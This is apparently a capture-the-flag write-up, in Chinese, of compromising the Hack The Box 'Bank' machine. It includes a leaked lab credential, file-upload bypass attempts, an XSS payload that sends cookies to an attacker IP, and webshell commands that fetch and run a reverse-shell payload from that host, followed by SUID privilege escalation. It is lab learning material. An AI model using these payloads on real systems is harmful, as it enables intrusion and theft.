Recon

  • RustscanNmap- 通靈加 Host- /etc/hosts加 Host 載下來看-
  • 發現 302 轉走,但其實是有資料ㄉ掃目錄-
  • http://bank.htb/assets/

嘗試傳 Webshell

  • support.php
  • 看起來可以傳檔案
  • 但只能傳圖片嘗試用各種方法繞-
  • 但基本上都失敗

取得密碼

  • 通靈掃到 /balance-transfer
  • 發現裡面的資訊都有過加密- 複製出來觀察 size
a = a.replace("[ ]    ","")
a = a.split("\n")
l = []
for i in a:
    i = i.split("     ")
    l.append(int(i[1]))
l.sort()
print(l)
  • 發現有一個檔案大小只有257
  • 觀察檔案內容-
  • 取得帳密chris@bank.htb
  • !##HTBB4nkP4ssw0rd!##順利登入- 又回到 support.php- 測各種副檔名繞過-
  • s.php%00.jpg
  • s.php\x00.jpg
  • 都失敗測 XSS- new Image().src="http://10.10.16.35:1234/"+document.cookie
  • 成功檢查註解-
  • 發現可以用 .htb
  • 成功上傳 Webshell-

執行 Reverse shell

  • bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB
  • http://bank.htb/uploads/s.htb?A=bash%20s_HTB
  • spawnpython -c 'import pty; pty.spawn("/bin/bash")'

提權

  • Kernel Version有奇怪的 SUID 程式- 直接執行-
  • 就 Root shell ㄌ取得 Flag- RootUser-

嘗試不登入傳 shell

  • 先隨便傳Burp 改副檔名 .htb- 上傳成功-
  • 所以取得密碼的那一段根本不用做就可以結束ㄌ= =

學到了

  • php 副檔名方法
  • 注意註解 QQ